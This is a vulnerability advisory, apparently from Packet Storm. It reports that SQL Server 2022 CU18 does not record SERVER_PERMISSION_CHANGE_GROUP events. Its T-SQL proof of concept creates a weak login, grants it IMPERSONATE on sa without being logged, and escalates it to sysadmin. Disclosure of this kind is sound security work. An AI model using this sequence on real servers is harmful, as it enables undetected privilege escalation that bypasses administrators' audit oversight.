Share
## https://sploitus.com/exploit?id=PACKETSTORM:190317
Title: SQL Server 2022 Security Audit Failure Vulnerability
    Product:                   Microsoft SQL Server
    Affected Version(s):       2022  (RTM-CU18) (KB5050771) 
    Tested Version(s):         2022  (RTM-CU18) (KB5050771)
    Fix:                       This security bug will be fixed in a future cumulative update released by Microsoft 
    Risk Level:                Medium
    Author of Advisory:        Emad Al-Mousa
    
    Overview:
    
    native security auditing is an important facility used to track and monitor activities within the database based on pre-defined audit policies. These security audit policies are engineered
    by the vendor to capture sensitive actions that can potentially jeopardise your database system.
    
    *****************************************
    Vulnerability Details:
    
    In Microsoft SQL Server 2022, when configuring a security audit for "SERVER_PERMISSION_CHANGE_GROUP" ,  it doesn’t get recorded in the audit logs as expected and designed !
    
    
    *****************************************
    Proof of Concept (PoC):
    
    I will create a dummy local SQL authentication account and will call it “TIM”:
    
    USE [master]
    GO
    CREATE LOGIN [TIM] WITH PASSWORD=N'TIM', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
    GO
    
    Then, I will create the audit policy as shown below:
    
    USE [master]
    GO
    
    CREATE SERVER AUDIT [test-permission-change]
    TO FILE 
    (   FILEPATH = N'D:\SQLServer_2022\audit\'
        ,MAXSIZE = 0 MB
        ,MAX_ROLLOVER_FILES = 2147483647
        ,RESERVE_DISK_SPACE = OFF
    ) WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE, AUDIT_GUID = 'a2d718eb-2588-4d64-b7c9-249441e96d42')
    ALTER SERVER AUDIT [test-permission-change] WITH (STATE = ON)
    GO
    
    USE [master]
    GO
    
    CREATE SERVER AUDIT SPECIFICATION [AUDIT_SER_PERM_CHANGE]
    FOR SERVER AUDIT [test-permission-change]
    ADD (SERVER_PERMISSION_CHANGE_GROUP)
    WITH (STATE = ON)
    GO
    
    
    Per documentation: https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-action-groups-and-actions?view=sql-server-ver16
    
    SERVER_PERMISSION_CHANGE_GROUP: This event is raised when a GRANT, REVOKE, or DENY is issued for permissions in the server scope. 
    
    
    -- It's expected that configured security auditing will capture the following t-sql statement:
    
    GRANT IMPERSONATE ON LOGIN::sa TO TIM
    GO
    
    
    Unfortunately, the above t-sql command is NOT logged in audit logs !!
    
    This can be verified by querying audit logs:
    
    SELECT * FROM sys.fn_get_audit_file('D:\SQLServer_2022\audit\*',
    DEFAULT,
    DEFAULT) order by event_time desc
    GO
    
    
    So, now there is a back-door/weakness introduced in the SQL Server instance and it will not be detected. Database account TIM can now login and execute the following t-sql query to escalate his permission to SYSADMIN role successfully: 
    
    execute as login='sa'
    ALTER SERVER ROLE [sysadmin] ADD MEMBER [TIM]
    GO
    
    
    *****************************************
    References:
    https://databasesecurityninja.wordpress.com/2025/04/01/sql-server-vulnerability-audit-failure-for-server_permission_change_group-in-sql-server-2022/
    https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-action-groups-and-actions?view=sql-server-ver16